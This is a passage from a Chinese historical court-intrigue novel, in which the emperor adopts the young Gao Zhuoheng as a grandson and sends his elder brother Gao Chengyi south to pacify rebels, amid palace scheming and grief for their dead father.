却听殿中有孩童跑动嬉戏的笑声,还有摇拨浪鼓,和太监哄孩子的笑声。 温寻墨跪了下去,高濯衡便与他一同。 “奴才叩见主子。”是温寻墨在外时的太监音色。 一声男人拖长的:“嗯。” 却并没有叫平身。 两人只好还这么跪着。 而孩童和太监嬉戏的声音,则越来越大,光盛帝看着,也跟着笑了两声。 在跑跳玩耍的小男孩儿才五六岁,他叫那个陪他玩的太监:大伴儿。 那孩子和他的大伴儿在笑在闹,可他和温寻墨这个太监却一直跪着。等了好半天,光盛帝终于开口了,却不是叫他们,他说:“弘儿,过来。” 李晖弘跑着扑进了他怀里:“皇爷爷!” 李晖弘这才发现纱幔的外头,跪了两个人。 他问:“咦,你们是谁?” 温寻墨立马帮着回话:“世子爷,奴才是万岁爷身边伺候的,近年入宫少,世子爷不认识奴才。” “那他呢?”李晖弘指着高濯衡。 高濯衡顺着李晖弘的声音把头抬了起来。 光盛帝便隔着若隐若现的纱帘幔帐,抱着李晖弘自高台上走了下来。 他单手拨开纱帘,站在不远不近的地方,看着高濯衡。 话本里皇帝穿龙袍,可眼前的这个大约五十岁上下的男人,没有穿龙袍,甚至穿的都不是明黄色。 宽大的白色长衫,全身上下只有腰间坠着青玉的宫绦做饰,头发半散着,胡须也不浓密。 温寻墨想提醒他低头,高濯衡却还是那样,仰头看着。 直到光盛帝皱了一下眉,他才如梦初醒,低下了头。 “皇爷爷,他和你长得好像啊。”小孩眼睛亮又准,且不会说谎。 光盛帝冷冷的看了高濯衡许久后哼笑了一声,对李晖弘道:“他是你大皇叔的儿子,是你的堂兄。” 说完,他将孩子交给了后边的太监:“带世子爷出去玩。”他一改冷脸,慈祥的捏了捏李晖弘的脸蛋儿,“弘儿去御花园玩,等会儿跟皇爷爷一起用膳。” 孩子笑着点头答应。 待他们走出去,光盛帝回到了纱帐的高台上,坐下后,才说:“温寻墨出去,你站进来回话。” 温寻墨退出殿外等着,越等背心的汗越多,甚至手心里也全是汗。 他在为高濯衡担心,为了让心绪能平静下来,他开始回忆这一个月跟孩子相处的点滴。 他若晚上在家,总会在晚饭后带孩子去外边走走,或是在小院儿的大树下纳凉。 高濯衡会与他说在抚州的事。 梁上的乳燕,缸里的金鱼,他瘸了腿的夏辛,还有哥哥,母亲…… 说起那天抚州城门前的坚持,还有在刘具那的事。 他以前总觉得高濯衡心思深,因见过他杀刘具毫不手软,温寻墨总告诫自己不能将他当做一个普通的十岁孩子看待。可相处下来便渐渐明白,孩子就是孩子。 他有防备心,但不多。他忍不住要说出来,因为还未长成的脆弱心灵想获得安慰和疗愈。 他嘴上说不要,摆出厌烦高傲的样子,可接受到善意后,又会立刻软下来。他不喜欢读书,调皮淘气的男孩儿,并不能长时间静坐在书桌前,将精力集中在书本上。 看着看着,他会被窗外的蝉鸣,桌前的飞虫吸引注意,在午后会犯困,特别爱睡,睡觉时偶尔还会淌口水。 他写字,会越写越潦草。今日的打算,明日就会忘记。 孩子还没长大啊,温寻墨抬眸看着殿门,他希望明日还能看见高濯衡冲他笑,他有些后悔昨天没有给高濯衡买他想吃的鲜莲蓬。 他等了一个多时辰,殿门才打开,光盛帝将伺候他的贴身太监,司礼监秉笔余忠叫了进去,余忠出来后,便吩咐底下人,去将内阁所有人和六部的堂官全召来殿前,候听陛下亲口谕旨。 官员们在各自的衙门上值,温寻墨又等了半个时辰,人才到齐。众人齐齐站着,余忠进殿禀报,不过多时,殿门打开,众人跪身行礼。 温寻墨也跪了下去,殿前人虽多,却无一人发出声音。 门后有脚步声传来,轻重不同,走出两个人,是光盛帝牵着高濯衡的手走了出来。 温寻墨听得一声:“众卿平身吧。” 身边人一一站起,他是最后才跟着站起身的。 片刻后,光盛帝沉稳的声音,再次响起:“抚州案,兵部尚书晏江省巡抚左都察院御史并两江总督高琰通敌一事,现已查明,高琰并无通敌之实,全为周季修一人欺上瞒下所为。他贪图富贵,受水寇蛊惑,引贼入室,害我一省百姓受兵燹之难。此贼人现已逃亡海上,朕于即日下令追捕,砍贼首者赏银万两,生擒贼人者,封爵位。” 众人山呼:“皇上圣明。” 周季修万万没想到,自己的脑袋值万两银,自己的命值一个爵位。这些是他巴结太子,做梦都想得到的东西,若能分出个身,他都愿意自己把自己给抓了,送给光盛帝。 光盛帝当然也不是冤大头,皇帝是最擅长打白条的人,逃去海上,哪是那么好抓回来的,或是被海浪拍死,或是去南方的海岛上当吃椰子的野猴。若他真是个能人,还能去太栉国,或是西洋那边,混口饭吃。 总之,能回来,在乱军中被人抓住的概率,几乎为零。 光盛帝又道:“高琰之过,罪在用人不明,御下宽仁,才被周季修蒙蔽,酿成大错。他入狱时已留下悔书,如今也已畏罪自尽,朕会将他所书悔悟之言,公诸于世,以求百姓谅解。逝者已矣,可…稚子何辜啊?” 他是在问,内阁的大学士和六部九卿们绝非等闲之辈,他们判断形势,见风倒,摇摆站队的功力最为深厚。 皇帝演这出,就是拿定了主意,在殿前当众与他唱反调,以咱们这位万岁爷的性子,当下必定好言相劝,怀柔以待。 可等这事儿过了,轻些的找个由头,发配外省,虽此生大约都当不了京官了,但至少能保住条命。 重些的呢,呵…这温寻墨不是就搁边上站着嘛,这人最擅寻些莫须有的罪名整人,屈打成招。他手上,至今还没有不认罪的人,也没有能活下来的人。 他们不知道,其实不认罪的已经有了。 咱们十岁的高濯衡小朋友,在大太监的淫威之下依旧‘铁骨铮铮’,死不认错。 哭也不认错,打屁股也不认错,哭吐了都没认错。 这边众人又集体恭维着:“皇上仁德。” 光盛帝心中满意,但表面上还是要摆出一副悲悯的样子:“上天有好生之德,朕为天子,当依天意行事。善为国者,遇民如父母之爱子。高琰自尽,两江兵祸,朕…朕的儿子…也死了……” 他说到最后一句,已是声泪俱下。 在场官员便也跟着他一起哭,这种时候,无论是否真心,都得挤出几滴眼泪嚎个两声,皇帝后边的太监们都盯着呢,谁哭了谁没哭,掉了几滴眼泪,真不真心。 晚上回去一对账,明日又是一轮升降贬罚。 光盛帝将高濯衡抱了起来:“高琰也有儿子,两个,这是他家幼子。朕不忍见稚子无父,想收其子为养子。” 他说想收义子,余忠是知道孩子身份的,立马会意开口道:“皇上,以此子年纪,当是孙辈儿了。” 光盛帝眼角还有泪,装出恍然的模样:“哦,是啊。”点头道:“孩子尚年幼,朕已过天命之年,倒是朕的儿子们和高琰岁数差不多,世子李晖弘也与此子年纪相仿。” 这话多明白,是要收义孙。 乱世的皇帝都爱收义子义孙,子孙们的忠诚度比朝臣更高,也更能和皇帝站在同一阵线,所谓上阵父子兵,没有亲儿子,或不舍得亲儿子上战场的,那养子也能顶一半嘛。 可光盛帝虽子嗣不多,却从未见他收过什么义子义孙。 有些好事的难免不在心里猜想,或许不是义孙,就是亲孙。 当下不好认,先当养的,过几年,若真成才,堪为大用,便再认回宗庙。找个理由而已,人自家娃,说是养的就是养的,说是亲的,他都不怕滥竽充数,你还能说不是嘛。 果然,余忠立即附和道:“皇上圣明。” 其他人能怎地,也一并附和:“皇上圣明。” 光盛帝三言两语,把燕王带回的亲孙,变成了燕王义子,他之义孙。 温寻墨有些看不懂,要认就认,不认就不认,这半认半不认,是个什么道理? 光盛帝又道:“既已是朕的孙辈,便不好再姓高了。” 高濯衡被赐了一个新的名字,姓李,和李晖弘一样,从晖字辈,后名‘昀’字。 昀为日光,光盛帝说他双亲皆亡,命途多舛,一路艰辛才回到京城。现如今皇恩浩荡,如日光普照,望他往后沐日光,行坦途。 光盛帝让人将此事昭告天下,让世人知道他是明察的,不仅为高琰洗清通敌之罪,还收养了他的幼子。 那大儿子呢? 高承翊起初在诏狱中吃了点苦头,那些人口口声声让他交代的东西,他都一无所知,全是欲加之罪。 这期间,那枚药丸之毒又发作了一次。 当晚他差点没熬过去,可外头弟弟还在等他。 他若死了,弟弟会心疼,会痛苦,所以烙铁将他的皮肉烧焦时,板子砸在他身上时,刑具加身,仍旧忍着不死,去期盼那点他看不到的转机。 入狱七天后,他得知了父亲已自尽身亡的消息。他原以为自己会因此崩溃,可事真来临后,他却平静的接受了。 毕竟自父亲入狱后,他就知道随时可能听闻死讯。 也就是从那日开始,不再有人刑讯他,温寻墨还来看望过他几次。 给他带来了高濯衡写的字帖。 孩子的字,居然比原来在家时写的还要好些。 温寻墨为保自身安危,不与他多说什么,他想问的很多,父亲是怎么死的,他…是听说了什么,才自尽的吗? 他在温寻墨这里得不到答案,于是每日睁眼,他都在琢磨这中间所有的事。 通敌、城破、诏狱、自尽… 太子亲征… 燕王带兵南下… 这里头,到底有多少的阴谋和意外,他和衡儿,卷入这场朝局之争,难道真的只能任人鱼肉吗? 父亲死了,他的刑讯就停了… 父子俩,只能活一个吗? 是父亲用死亡,换回了他的生机? 若真如此,他就更不能死了。 于是高承翊让看守给温寻墨带话,让温寻墨送些书进来。高濯衡在外头读书,高承翊在诏狱中,就着昏暗的灯光,也在读书。 日子久了,在听闻两江起了兵变后,他想通了一些。 当赵绥启牵着高濯衡进诏狱接他出去时,高承翊已经入诏狱整整一个月了。 高濯衡终于又见到了哥哥,他的大哥还活着。 只不过胡须长了,头发凌乱,眼底有乌青,皮肤苍白,瘦得不成样子。 赵绥启见了当场上前拥住外孙,并痛哭出声。他好好一个俊俏的儿郎,被折腾成了这副模样,任谁不心疼呢。 在回赵府的马车上,高濯衡一直死死的靠抱着哥哥。 他身上还有诏狱里潮湿的腐臭味,高濯衡却一点都不嫌弃。 哥哥往后躲,他就往前钻。 “衡儿,有味道…等…哥哥洗漱后,再抱你。” 高濯衡摇头,还是死死贴着他。 回府后,高承翊洗澡他就守在屏风外头。 他对着镜子剃胡须,高濯衡就坐在一旁,用手托着脸瞧他。 高承翊这会儿干净了,除了瘦和脸色苍白之外,和早前区别不算太大。 他侧头问高濯衡:“有事要与我商议吗?” 高濯衡点头:“昨天,皇上认我做了义孙,给了我一个新名字,往后在外头,都得叫那个名字。” 高承翊猜到了皇帝为了平息两江百姓的怒火,需要拉拢他们两兄弟,却没想到是认义孙这么绝的做法。 “义孙?要入皇室宗庙?” 高濯衡道:“入宗的事倒是没说,但昭告天下了…” 其实是要入的,只是昨日高濯衡与皇帝相谈时,高濯衡要求要缓几年再说。 高承翊心里是很不屑的,他沉默了良久,才说:“这是多少人想要却得不到的好事啊…”他笑得有些僵硬,“是天大的好事,叫…什么名字?” “李晖昀。”他说完高承翊又是沉默。 愣着,因为他不知该做何表情,作何回应。 “不过,濯衡还能继续用,当字。” 高承翊还未及弱冠,原本为方便读书也取了个字,叫鸣宇。在家时只有高琰偶尔叫他的字,是不常用的。 读书人和官场上,多称呼字,他想自己往后是不大能用上「鸣宇」这个字了。 高濯衡拽了拽哥哥的衣角,话中带着歉意:“哥…我知道,你会不高兴。” “没有,这不怪你。我知道此事你也无法左右,咱们都只能…任人摆布。” 因为那人是皇帝,所以可以把莫须有的罪名,加诸在他们父子身上。 因为那人是皇帝,享万民供养,生来就是无上尊荣,所以可以轻视治下百姓性命,重权而轻民。 因为那人是皇帝,所以可以将他关押,屈打,还给他喂下那至今都不知是何物的毒丸,害死他的母亲,杀了他的父亲。 如今还抢走他的弟弟!!给他当孙子,去他妈的皇帝,去他妈的九五之尊,去他妈的忠君爱国! 高承翊放下剃刀,将孩子抱进了怀里。 高濯衡在哥哥面前,就是个没脾气的小面团,靠在哥哥怀中,又乖又软。 高承翊深深的看着他:“我很恨他,别的都可以,但他不能把你也抢走。” 十岁的高濯衡没听懂这话,只歪过头与哥哥对视。 “你们还说了什么?”高承翊问。 高濯衡道:“他让我和外公来劝你,回两江…平乱。” 高承翊道:“不是有燕王在吗?” 高濯衡道:“百姓和残兵起义了。” 高承翊道:“难道要我杀普通百姓?残兵…他们原本都是上阵杀敌的好儿郎。” 高濯衡也确实佩服光盛帝的主意,这位皇帝只打算给高承翊一千的骑兵,让他急行南下。 高濯衡小声道:“不是杀,是…劝导。” 「劝 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“之后呢?若劝服了如何,不能劝服呢?我并非父亲,他们怎会听我的?若他们真愿意招安,入军,是要一起去打回抚州吗?”他不想丢了父亲为官的地方。 高濯衡道:“皇上说,他会与你说明的。我的想法和以前一样,应是不会打抚州。” “都已经要去做了,为何不做完?”高承翊道。 高濯衡道,“接连的败仗,已经让军心不稳,皇帝也害怕再打败仗,若真的再输了,让水寇得了势,继续北上,会动摇国家根基。如今最稳妥的办法,就是隔岷江驻防。还有一点,因为你现在,无法与燕王博弈制衡。” 高承翊:“我?” 高濯衡点头:“这是外公和我说的,天家父子,至亲至疏,父亲虽有慈爱,却要像提防仇人那样,提防自己儿子。前朝天宝年的安史之乱,太子李亨掌兵权平乱,遥封玄宗为太上皇。” 乱是平了,可天下也被夺了。 “果真是亲父子。”高承翊道,“太子为与燕王抢夺两江港口实权,可以将军情泄给敌军。皇帝也为自己的皇位,连分权遣兵给亲儿子都不肯。” 高濯衡道:“我想,这或许是我们的机会。” “所以你觉得他会用我。”高承翊道,“往后我还有机会,带兵收回抚州城?” 高濯衡点头:“对,所以咱们现在得忍下来。等他要收回抚州之日,便一定会用你制衡燕王,分走燕王的兵权,在战场上监视他,如此他就不用担心燕王一人大权独揽,也闹一出,遥封太上皇。” “那要等到何时啊…”高承翊叹息,“十年,二十年?” “总之,他退位前肯定得把这事儿干了。”高濯衡道,“当了三十四年的太平天子,不会让打败仗,丢了地的事,污了他的身后名。” “他怎么确保我不会投入燕王麾下呢?”高承翊道。 高濯衡道:“因为…他让你南下,但会将我,留在京城。” 用高濯衡一个人,可以掣肘燕王和高承翊两个。 燕王若是疯起来,为了皇位,或许可以不顾弃子杀父的骂名。 可高承翊,绝对不会弃弟弟不顾。 高濯衡看着哥哥的脸,逐渐扭曲起来,眼中是恨,更是怒。 这就是他不被杀死的代价吗? 要去说谎话欺骗百姓,还要和弟弟分开。皇帝让他说的那些话,他自己都不信,如何说得出口。 他将手臂缩紧,死死抱住了弟弟,脸颊也贴上了高濯衡的脸。那拥抱的重量几乎要让高濯衡窒息,但他还是没吭声,让哥哥抱着。 此时的高承翊,心绪翻涌难以平静,他赤红着眼睛,全身的肌肉都紧绷着,理智正一点点离开他的身体,疯狂的想法,占据了他的脑子。 ——他想要拿刀子,将这一切的罪魁祸首捅穿。 他的仇人,端坐于皇宫的金殿上,被万民百官称为‘皇上’。 自从吃了那药后,他总会不时这样。疯魔了一般,无法控制极端的想法。 但高承翊又觉得,或许不是那药的原因。他原来性子温和,是因为他从没遇到什么难事和不公。他过得顺意,自然温和。 而今,他成了这幅样子,不疯些,说的过去吗? 此时,听得弟弟温和的声音:“哥…会好的。” 高承翊这才回过神,将桎梏着高濯衡的手臂,稍稍放松了一些。 “我陪着你,会好的。” 他的理智被弟弟唤回,高承翊渐渐放松下来,他把头垂在了高濯衡的颈窝里,带着哭腔:“那…你不许骗哥哥。” “嗯。” “要一直…一直陪着我。” 高濯衡道:“嗯,这一个月我可想你了。” “温寻墨把你的课业带给我看了,字练的很好。”高承翊道,“文章也不错,我看了两篇。” “啊!他怎么能这样儿啊!字…字就算了,怎么文章也…”高濯衡脸红了:“那…那都是仿着前文瞎…瞎写的,有些…不是本意呢。” 高承翊道:“温寻墨对你好吗?” 高濯衡也不太清楚,总之饿不着,冻不着,每日读书练字:“还行吧,他做饭挺好吃的。” 除了那晚的杂菜粥,后来温寻墨也给他做过几顿饭,卖相有好有差,但无一例外,都很好吃。 小孩儿会自然的亲近对他好的人。 可只是‘还行’两字,都会让哥哥嫉妒。 “我怕你会喜欢他,超过喜欢哥哥。”他说这话带着些委屈。 高濯衡觉得自己并没有很喜欢温寻墨,但与温寻墨生活在一起也并不像之前想的那般讨厌。 温寻墨爱干净,会做饭,虽然刻薄又严格,嘴巴毒,喜欢阴阳怪气,但…他本心不坏,笑起来还特别好看。 “哥哥和他不一样。”孩子居然真的认真想了想,“不过…他这段时间,是真心在帮我,这是恩情。” 这话听在高承翊耳中,有种弟弟一夕之间长大了的错觉。 那个跟着他总是哭泣,撒娇的孩子,只在温寻墨那待了一个月,字也写的比原来好,文章也写得十分有条理,会温和的安慰人,能看出他的心境,比此前强大平和了很多。 高濯衡道:“温寻墨知道很多事情,是他告诉我父亲的事,并非一死了之。他背负的污名,需要我们去为他平反。可我不知该怎么做,温寻墨说,当你什么都做不到的时候,一定要忍耐,忍住,等待机会。” 兄弟二人眼眶湿润的互相对视着,他一遍遍的抚摸着哥哥的手背,“我们俩一起,你还有我,还有…夏辛呢。” 即使夏辛不在他身边,高濯衡也不会把他忘了。 “我们出去吧,外公还等着咱们呢。”高承翊抱着弟弟,站了起来。 高濯衡提醒他道:“这间浴室墙厚,没有窗户,还有水声,咱们能在这说些私密的话,可等会儿出去后,就不能说了。” 高承翊点头:“我知道,把戏演好了,给房顶上的番子们看。” 赵家的小厅里,一张小圆桌,青菜,排骨萝卜汤,炒肉,酱菜,一条鱼,三碗饭和围坐的祖孙三人。 赵绥启给孩子们夹菜:“吃吧…吃吧,多吃点,都是…你…祖母做的。” 他没说外字,还扯出了一个笑。 高承翊端起了饭碗,他也将碗端起,才靠近嘴边,被热气一熏,起了满眼的泪,怎么都忍不住。 眼泪混在饭里,被他大口咽下。 高承翊见此,也是潸然泪下。 一顿饭,什么都没说。 接着便是深夜传召入宫。 53.你明白就好 高承翊预想了高高在上的训诫、命令,还有威胁。 却不曾想,御书房内,穿着单薄寝衣的男人,亲自将他扶了起来。 “哦,你与你父亲,长得很像。”光盛帝指了一旁的椅子,“来,这是给你留的座位,坐下与我慢慢说。” 高承翊没动。 光盛帝又道:“并非有意深夜叫你前来,而是有太多事情需要与群臣商议,内阁和司礼监那些人走了,我才得了空闲。趁着等你来时,洗漱了,与你说完,我才能得安寝。” 他不说朕,用了‘我’字。 高承翊心道:这可真是礼贤下士,慈爱有加了。 他既来此,就做足了准备,皇帝能演会演,他也同样。既要演出有初见天颜的畏惧,也要带上些少年稚嫩倔强的脾性,这才可信啊。 于是高承翊垂头躬身,语气却十分强硬:“罪臣之子高承翊,叩谢圣恩。”他不坐,反而又跪了下去,“草民不敢。” “我摈退了左右,连贴身的宦官都没留,就是想与你说些掏心窝子的话,你我都无需端着。”光盛帝道,“我已扶了你一次,还要再扶第二次吗?” 高承翊这才站起来,以犹豫状,坐到了皇帝留给他的椅子上。 那位置,与光盛帝所坐主位,不过五步之距。 他若是突然跳起,以他的指力,在外头的人破门而入之前,就能将这个已过盛年的皇帝掐死。 当真是放心,不设防,不怕他不要命。 光盛帝道:“衡儿说,家中父母严厉,只有哥哥最是纵着他,他也与你感情最深。” 无端抢走了我的弟弟给你做孙子,居然还叫他‘衡儿’! 一开始就把高濯衡摆上来,以做要挟,让高承翊心中厌恶更胜。咬死眼前人的心都有。 他这时应该以小王爷称呼高濯衡,再说几句恭维孩子聪明,善解人意之类的话。 可他真的不想,知道却不想说,说不出口。藏住眼中的蔑视,已经用尽了他所有的力气。 光盛帝见此,便继续道:“我知道,你在东西城门前还救走了一些守城的士兵和百姓。” 谈判需拿筹码,这两样,衡儿和山庄中的诸位都是他在乎,想要守住的。此时正被光盛帝当做筹码,握在手中掂量着。 他把孔祥他们带走,又带着他们在东门营救了一些百姓的事,当时虽兵荒马乱,但光天化日,逃出来的人并非所有人都跟着他们,。 这两件事的见证太多,眼线们是好查证的。 但之后,山庄那边,做的隐秘。还有温家的那些工匠呢?难道皇帝也知道吗? 高承翊的背上出了汗,他仍旧没有接话。 “你很英勇。”光盛帝道,“与你父亲一样,是能在调兵遣将上,所有作为的。可惜…我的儿子,不行…” 他说起儿子,也不免难过。 不自觉的双掌握拳,声音听上去也有些辛酸:“你失去了父亲,我也失去了儿子。” 这如何对等?你的儿子是自己去找死,而我的父亲,是因你而死。 高承翊原以为自己和父亲一样,是能做到和光同尘,且心无波澜的,毕竟官场什么样,朝廷什么样,他早有耳闻 。今日才知,自己真的修行不够,他能演,可心中难平。 光盛帝见他还未有什么回应,便又道,“你父亲的事,是我失察。案子未查清,他按律入狱候审。我让人隐瞒了他抚州和你们兄弟之事。我想,是有人将这些告诉了他,他…才会自尽的。” 皇帝已经摆出了如此姿态,他是该有回应了,高承翊微微抬起了头。 光盛帝因高承翊的‘不开窍’,心里多少有些愠怒:“你外祖没与你说清楚…” 东厂那边,说他们祖孙三人对坐,哭了一个晚上。 赵绥启可是老糊涂了?难道要他一个皇帝,去说那些撕破脸皮的事? 室内气氛沉寂着,落针可闻。 就在光盛帝的耐心近于极限之时,高承翊道:“罪臣子愿继承父亲遗志,为国尽忠。” 如此慷慨激昂之语,他却说的没什么起伏。 皇帝这才满意的点点头:“你明白就好。” 高承翊在狱中时就想清楚了,外祖不说,也是因为他知道,高承翊能想清楚这其中所有的利害和阴谋。 如果连这他都想不明白,那这次能活下来,下次也会被算计死,就辜负了父亲的性命和一番苦心了。 光盛帝需要一个能帮他收复抚州的人,高琰是最佳的人选。如若太子只是兵败,高琰带兵,收回抚州。最多会因功高震主,在太子掌权后,被边缘化。 可太子死了,皇帝的儿子死了,可你高琰的儿子,还活着。 这怎么能行呢?我的儿子,可是死在你的抚州啊。 更何况,往后高家父子二人还要同朝为官。皇帝看见他们两人,就会想起自己死掉的儿子,如何能再重用他们父子二人? 按光盛帝的手段,他必定会找出纰漏,杀了高承翊,让高琰也尝尝和他一样的痛苦。 当然,高家父子也可选择不做官,为保命放弃前程,不去光盛帝眼前晃悠。然普天之下莫非王土,不在他面前晃,也不代表他想不起来。没有官职没有用处,岂不是更好拿捏,处死。 好比一把横在脖子上,永远存在的屠刀。 于是,高琰想到的办法是,那我死吧,让我的翊儿活下去。 抚州交给他了,我的希望也交给他了。 一命换一命,我随太子而去,很公平。若你再要动我的儿子,没有正当的理由,满朝官员们,也不会同意此等不义之事。 事实上,他这么做,确实暂时保住了高承翊,他让光盛帝不得不放慢动作,将收回抚州的希望,寄托在高承翊身上,并且去等待高承翊成长。 高琰也想到了这点,并且他觉得在等待高承翊成长的这段漫长时间里,皇帝会因高承翊的安分守己、于国家社稷有用,而放弃杀他泄愤。 但高琰没想到,在亲人的离去和多重的压迫与强制下,让高承翊生出了,一定要将眼前的皇帝拖下龙椅的想法。 静谧的内室中,光盛帝的声音不大不小,恰如其分:“其实,我也很不舍你的父亲。他尽忠职守,从无隐瞒,是谋国之臣。” 高承翊听得出来,皇帝在提点他。他也该尽忠职守,不得隐瞒。 可这样的谋国之臣,已经被你亲手害死了,我是高琰的儿子,但我不是高琰的复刻。 “父亲之事,皇上并无过错。是有奸人陷害,欺上瞒下。”高承翊抱拳低头,假装恳切道,“草民恳求皇上,查明真相,处死真凶!” 他这话是顺着光盛帝的‘失察’所说的,既你说是‘失察’,那就给我个‘交代’吧。 光盛帝脑中对高承翊的印象已经形成:是‘死脑筋的愣头青’。 这样的人,容易被激愤,也很容易掌控。 “你放心吧,必不会让你父亲受了冤屈。”闲话试探结束,光盛帝要说正事了,“你可知此回,让你南下要做些什么?” 高承翊依旧是装作青涩,且毫不知情的样子:“无论何事,高承翊谨遵圣命。” 光盛帝道:“这事不难,比打仗简单多了,若是你父亲还在,一日之内,便可做到。” 高承翊低头听命。 “朕给你三百轻骑,封你为六品武毅游击将军。你明日南下,至两江后,以高琰之子的身份,招安叛军。”光盛帝道,“那些人都是你父亲的旧部,大约还有你救下的士兵。想来你应有办法说服他们。百姓们盼望的,还是太平嘛。招安回来的士兵,青壮的,便交给燕王驻防岷江,或是编入守备军。若原本就是民户的,就放他们回去继续种地。” 驻防用不了那么多人,多余的军户也是在军屯种地。 但这里边,还有抚州城内和周边跑出来,被水寇占去了土地,无处可去的残兵、灾民。 光盛帝接着说:“做完这些,还需你去统计伤亡和抚州灾民的人数。这些那边的衙门,已经在做了,但还有藏匿的,流出外省的,那些人,需用你高琰之子的身份,张贴告示,再将消息传出去,把能找的都找回来,搜罗到一起。当然,朕也会下诏,劝说。将他们都找回来,再好好安顿。” “安顿的地方嘛,朕与朝臣们商议过了,在西北,隆州到涸岭子一带,给他们划一片地,由你带着他们,去开荒耕种。” 隆州大部分在关内,但涸岭子已经是关外的涸东地界了,那是一片望不到边的山林,连接玉岱山。高承翊没有去过关外,但也听闻过玉岱山一带盛景,是水草丰沛的天然马场。 他心中起疑:真能给我们分上一块好地?不会吧…这其中必有什么猫腻。 猫腻当然有,玉带山南面是天然马场,可这北边有一条自北向南的‘将军河’。 这条河的源头在涸东,是涸东最北边,大湖天雪湖的支流,自北往西,贯穿涸东,流经隆州关外,绕玉岱山北面,混着山上流下的雪水后转了个大弯,改道往东,再经海州入东海。 从地图上看,就像个转弯的大勾子,故而也有个别名,叫勾子河。 将军河在玉岱山的流域,没有修过水利,还保持着最原本的状态。关外天气寒冷,冬季河水会被冻住,开春后,涸东水域解冻,积攒了一个冬的冰水,排往下流的玉岱山流域。玉岱山下,是大片的平原,冰水漫出河道,在毫无阻拦的平原上肆意蔓延,形成湿地和沼泽。 这些水会冲毁庄稼,还会让沼泽里的水草越长越多,原有水草的根茎腐烂后,在上面又生出新的草。越长越高,水退后,平原上全是数不清的暗沼,和凸起的‘塔头’。 那种地方,根本无法耕种,当然这时的高承翊虽感觉奇怪,但却并不知道这回事。他生在江南,冻土、千里冰封的冻湖、冻河、‘塔头’…这些东西,他有些在书上看过,有些是闻所未闻的。 光盛帝继续说着:“若有不愿北上的,也可自西北前往西南,去笠安。让笠安的衙门给他们上黄册,分地,那些荒地荒山,谁去开垦,便归谁所有。换个地方,继续当民户,安居耕种。不过,笠安也收不了太多人,你到时候看看,将去笠安的人数控制在两万人以内。” 这样绕一下,要多走不少的路。有些体弱的,一场病,就可能死在半路上。 抚州原有一百多万人,就算逃出 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这几个月,筹备军需补给,弹药,铁器,那些已经花了不少银子了。为了凑钱打仗,各地都提高了税银,朝廷没钱再打下去了。 他身边那些臣子,没人打过仗,七嘴八舌的,到最后还需他自己拿主意。太子的失败,对他是个很大的打击。 让他开始怀疑手下朝臣的能力,甚至是儿子们的能力。 光盛帝甚至反问过自己:怎么能生出这样蠢的儿子? 思来想去,还是觉得是涸东王那一支的性子太蠢,死脑筋。 燕王就要聪明很多,可燕王妃所生的嫡子,既蠢又肥。当然他也不想再用失败和满箱的金银去验证李睦炜到底是蠢还是聪明了。 他的血脉是不会错的,那刚刚回来的李晖昀,就很聪明嘛。 那孩子无论是长相还是行事作风都很像他。 光盛帝十分满意,是打算要立刻认回来的,这孩子一看就是他老李家的种。 可孩子却将高承翊的英勇战绩主动告知,表述简练,用词清晰,并断言高承翊有领兵扩疆之才。假以时日,是代替高琰的不二人选。 孩子还说,丢了的抚州,需抚州人去收回来。 还说他的哥哥高承翊最是忠厚,在家中也最是疼爱照顾他,如今父母都已身亡,哥哥若再得知弟弟并非亲生,恐他有轻生之心。 孩子跪叩着请求,过几年再恢复其身份,让他再多当两年高承翊的弟弟。 也不知是不是温寻墨教他的,开口闭口皇爷爷,叫得光盛帝浑身舒坦。加之孩子说的有理,光盛帝便答应了他。 高承翊如今年纪尚轻,最靠得住的高琰又死了,西北那边,鞑子的部落虎视眈眈,驻守的军队和将领都不能动。 高濯衡所说没错,光盛帝不想让抚州成为他的污点,可他经不住再输了。 燕王和高承翊都不是高琰,光盛帝看不到稳赢和皇权不动摇的希望,所以只能选择,岷江驻防,保持现状,休养生息,给高承翊成长的时间,他也要继续物色有没有更好的人选。 此时,他却鬼使神差的问了高承翊一句:“你觉得呢?” 他是问打还是驻。 朝会上早就商议好的事情,不可能因为高承翊一句反对的话而动摇。 他这样问,无非是让高承翊看见了他掩藏起的动摇和脆弱。 高承翊不露怯:“微臣谨遵皇命!” “呵呵,对…对对,谨遵…皇命。”光盛帝真是控制不住自己爱试探的心,居然恶趣味的问:“那皇命让你死呢?” 高承翊半点不惧:“君要臣死,臣不得不死。微臣愿即刻随父亲而去!” 随着他话音落,室内又陷入了沉寂。 他能听到光盛帝的呼吸声,和此前一样,很平静。他跪着,等了很久,皇帝似乎是在等他开口反悔,试他的胆量。 光盛帝:“算了吧,你死了衡儿会伤心。” 说起衡儿,高承翊立马道:“微臣有一事相求!” 这人是真不怕死,还是有恃无恐,居然还有事相求,可他能说「你别说了,我不答应」吗? 他只能说:“何事?” 高承翊道:“微臣求皇上,让衡儿与微臣一同前去隆州!” 光盛帝道:“他以前是你的幼弟,如今是朕的义孙,皇孙当然要留在京城。” “衡儿年幼,母亲过世前有遗愿,要微臣作为兄长,护幼弟长大。”高承翊重重的磕头,“只此一件事,求皇上成全。” 他南下,可让衡儿留在京城暂时做质,可他去隆州,未有归期,他无法接受与只有十岁的弟弟分开。 高承翊抬头:“微臣一片赤胆忠心,为皇命是从!求皇上成全!” 光盛帝思索片刻后道:“看你的差事办的如何吧。” 他果然没那么容易松口。 光盛帝又道:“温寻墨说,太子让刘诚给你喂了一颗红丸。” 这件事他十分在乎,立马起了警觉,浑身的汗毛都竖了起来。 光盛帝:“知道是什么吗?” 高承翊摇头:“不知。” 光盛帝道:“你退下吧,去问温寻墨。” 54.升仙丹 高承翊离开光盛帝的宫殿时已经是下半夜了,他明日就要动身,需要去清点分给他的骑兵、马匹、武器,以及安排好行程。 三百人太多,沿途的驿站是住不下的,他们这样的一队携带兵器的丘八肯定不能整队全进城,风餐露宿连夜赶路是肯定的,不过可以分小队,进入路过的城镇采买需要的物品和食物。 故而趁现在好跟皇帝开口,还要带足银钱以及急行军所需的干粮。 他没有充足的时间了解这些分给他的骑兵,人是温寻墨带着他去看的,前往营地点兵的路上,他问起了那颗红丸。 “皇上让我问你。”高承翊道。 “那药是当今还是太子的时候,府中的方士为太上皇万寿节炼制的。”温寻墨骑着马与他并行:“名为「清心延寿丸」。说有明目清脑,延年益寿之效。一粒就可让人龙精虎猛,力大无穷。” 温寻墨问他:“如何?感受到药效了吗?” 感情还是给了他一粒好东西呢。 当今还是太子的时候,那至少已经是三四十年前的东西了,高承翊想着,胃里都忍不住一阵翻涌。 